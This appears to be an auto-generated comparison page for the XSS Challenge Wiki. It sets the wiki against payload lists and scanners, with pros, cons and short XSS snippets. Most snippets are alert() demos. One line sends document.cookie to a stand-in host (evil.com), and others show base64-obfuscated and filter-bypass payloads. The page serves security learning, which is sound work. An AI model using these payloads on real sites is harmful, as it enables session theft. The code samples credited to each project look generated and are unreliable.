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cure53 logoXSSChallengeWiki

Welcome to the XSS Challenge Wiki!

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Top Related Projects

13,141

Most advanced XSS scanner.

A list of useful payloads and bypass for Web Application Security and Pentest/CTF

The OWASP Cheat Sheet Series was created to provide a concise collection of high value information on specific application security topics.

🎯 Cross Site Scripting ( XSS ) Vulnerability Payload List

A list of interesting payloads, tips and tricks for bug bounty hunters.

🔥 Web-application firewalls (WAFs) from security standpoint.

Quick Overview

The cure53/XSSChallengeWiki is a GitHub repository that hosts a collection of Cross-Site Scripting (XSS) challenges. It serves as a resource for security researchers, penetration testers, and developers to practice and improve their XSS detection and exploitation skills in a controlled environment.

Pros

  • Provides a diverse range of XSS challenges, from basic to advanced levels
  • Regularly updated with new challenges and solutions
  • Encourages community participation and contributions
  • Serves as an educational resource for learning about XSS vulnerabilities

Cons

  • May not cover all possible XSS scenarios or emerging techniques
  • Some challenges might become outdated as browser security features evolve
  • Requires careful handling, as it contains potentially harmful code examples
  • May not be suitable for absolute beginners without prior security knowledge

Getting Started

To get started with the XSSChallengeWiki:

  1. Visit the GitHub repository: https://github.com/cure53/XSSChallengeWiki
  2. Browse through the challenges in the "Challenges" directory
  3. Read the challenge descriptions and attempt to solve them
  4. Check the provided solutions in the "Solutions" directory to compare your approach
  5. Contribute new challenges or improvements by submitting pull requests

Note: Always practice XSS techniques in a controlled, isolated environment and never use them against real websites without explicit permission.

Competitor Comparisons

13,141

Most advanced XSS scanner.

Pros of XSStrike

  • Active development with frequent updates and bug fixes
  • More comprehensive XSS scanning and payload generation capabilities
  • Includes features like DOM XSS scanning and fuzzing

Cons of XSStrike

  • More complex to use, requiring more setup and configuration
  • May produce false positives in some cases
  • Larger codebase, potentially making it harder to maintain or contribute to

Code Comparison

XSStrike uses a more programmatic approach for payload generation:

def generate_payloads(self):
    payloads = []
    for char in self.characters:
        payloads.append(self.payload.replace('{}', char))
    return payloads

XSSChallengeWiki, being a wiki-style repository, focuses on documenting XSS challenges:

<h2>Challenge 1: Basic XSS</h2>
<p>Input: <input type="text" id="userInput"></p>
<button onclick="displayInput()">Submit</button>
<div id="output"></div>

XSStrike is a more feature-rich tool for XSS testing, while XSSChallengeWiki serves as an educational resource for learning about XSS vulnerabilities through challenges. XSStrike is better suited for security professionals and penetration testers, whereas XSSChallengeWiki is ideal for beginners and those looking to practice their XSS skills in a controlled environment.

A list of useful payloads and bypass for Web Application Security and Pentest/CTF

Pros of PayloadsAllTheThings

  • Covers a wider range of security topics beyond XSS
  • More frequently updated with new payloads and techniques
  • Includes practical examples and real-world scenarios

Cons of PayloadsAllTheThings

  • Less focused on XSS-specific challenges and learning
  • May be overwhelming for beginners due to its extensive content
  • Lacks the structured learning approach of XSSChallengeWiki

Code Comparison

XSSChallengeWiki example:

<script>alert(document.domain)</script>

PayloadsAllTheThings example:

<img src=x onerror=alert('XSS')>
<svg onload=alert(1)>
<script>fetch('https://evil.com', {method: 'POST', body: document.cookie});</script>

PayloadsAllTheThings offers a broader range of payload examples, including more advanced techniques, while XSSChallengeWiki focuses on simpler, educational examples.

Both repositories serve valuable purposes in the security community. XSSChallengeWiki is ideal for those looking to learn and practice XSS specifically, while PayloadsAllTheThings is a comprehensive resource for various security testing scenarios. The choice between them depends on the user's needs and experience level.

The OWASP Cheat Sheet Series was created to provide a concise collection of high value information on specific application security topics.

Pros of CheatSheetSeries

  • Comprehensive coverage of various security topics beyond XSS
  • Regularly updated with contributions from a large community
  • Provides practical, actionable advice for developers and security professionals

Cons of CheatSheetSeries

  • Less focused on hands-on learning compared to XSSChallengeWiki
  • May be overwhelming for beginners due to the breadth of information
  • Lacks interactive elements for practicing security concepts

Code Comparison

XSSChallengeWiki example (JavaScript):

<script>alert(document.cookie)</script>

CheatSheetSeries example (HTML):

<input type="text" name="username" value="<?php echo htmlspecialchars($username, ENT_QUOTES, 'UTF-8'); ?>">

The XSSChallengeWiki focuses on demonstrating XSS vulnerabilities, while CheatSheetSeries provides secure coding practices to prevent such vulnerabilities.

CheatSheetSeries offers a broader range of security topics and best practices, making it a valuable resource for overall application security. However, XSSChallengeWiki provides a more focused and hands-on approach to learning about XSS vulnerabilities specifically.

CheatSheetSeries is better suited for developers and security professionals looking for comprehensive guidance, while XSSChallengeWiki is ideal for those wanting to practice and understand XSS attacks in depth.

🎯 Cross Site Scripting ( XSS ) Vulnerability Payload List

Pros of xss-payload-list

  • Extensive collection of XSS payloads categorized by type and purpose
  • Regularly updated with new payloads and techniques
  • Includes filter bypass payloads for various scenarios

Cons of xss-payload-list

  • Lacks detailed explanations or context for each payload
  • No interactive challenges or learning exercises
  • May overwhelm beginners with the sheer volume of payloads

Code Comparison

XSSChallengeWiki example:

<script>
alert(document.domain);
</script>

xss-payload-list example:

<img src=x onerror=alert('XSS')>
<svg onload=alert(1)>
<script>eval(atob('YWxlcnQoJ1hTUycpOw=='))</script>

XSSChallengeWiki focuses on specific challenges and explanations, while xss-payload-list provides a broader range of payloads without detailed context. XSSChallengeWiki is more suitable for structured learning, whereas xss-payload-list serves as a comprehensive reference for various XSS techniques and bypass methods.

Both repositories contribute valuable resources to the XSS security community, catering to different needs and skill levels. XSSChallengeWiki is ideal for those seeking guided learning experiences, while xss-payload-list is better suited for security professionals looking for a diverse collection of payloads for testing and research purposes.

A list of interesting payloads, tips and tricks for bug bounty hunters.

Pros of bugbounty-cheatsheet

  • Broader scope covering various bug bounty topics, not limited to XSS
  • More frequently updated with recent contributions
  • Includes practical payloads and techniques for multiple vulnerability types

Cons of bugbounty-cheatsheet

  • Less focused and in-depth coverage of XSS specifically
  • May lack the structured learning approach of XSSChallengeWiki
  • Could be overwhelming for beginners due to its breadth of content

Code Comparison

XSSChallengeWiki example (HTML context):

<script>alert(1)</script>

bugbounty-cheatsheet example (XSS payload):

javascript:alert(1)

Both repositories provide examples of XSS payloads, but bugbounty-cheatsheet covers a wider range of security topics and techniques beyond just XSS.

XSSChallengeWiki focuses exclusively on XSS challenges and solutions, making it more suitable for those specifically looking to improve their XSS skills. On the other hand, bugbounty-cheatsheet serves as a comprehensive resource for bug bounty hunters, covering various vulnerability types and techniques.

While XSSChallengeWiki offers a structured approach to learning XSS, bugbounty-cheatsheet provides a broader overview of security testing methods, making it valuable for those interested in exploring different aspects of bug bounty hunting.

🔥 Web-application firewalls (WAFs) from security standpoint.

Pros of Awesome-WAF

  • Comprehensive resource for Web Application Firewall (WAF) knowledge
  • Regularly updated with new techniques and bypass methods
  • Includes a wide range of WAF-related topics, from evasion to implementation

Cons of Awesome-WAF

  • Focuses solely on WAF, limiting its scope compared to XSSChallengeWiki
  • May not provide hands-on challenges for practical learning
  • Less emphasis on specific XSS vulnerabilities and exploitation techniques

Code Comparison

XSSChallengeWiki example (XSS payload):

<svg/onload=alert(1)>

Awesome-WAF example (WAF bypass technique):

<script>alert(1)</script>
<scr<script>ipt>alert(1)</scr</script>ipt>

Summary

XSSChallengeWiki is a specialized repository focusing on XSS challenges and payloads, providing hands-on learning opportunities for security researchers and penetration testers. Awesome-WAF, on the other hand, serves as a comprehensive resource for WAF-related information, including evasion techniques and implementation details.

While XSSChallengeWiki offers more practical XSS-specific content, Awesome-WAF provides a broader understanding of WAF technologies and bypass methods. Both repositories complement each other, offering valuable insights into web application security from different perspectives.

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README

XSS Challenge Wiki

Hello, fellow reader! Welcome to the XSS Challenge Wiki!

You probably want to go here: https://github.com/cure53/xss-challenge-wiki/wiki

While this document is residing in the Cure53 repo-space, it's in fact an effort by many people. We do welcome pull requests and we do welcome participation, feedback, bug tickets and what not. Get in touch, send pull requests and file issues :)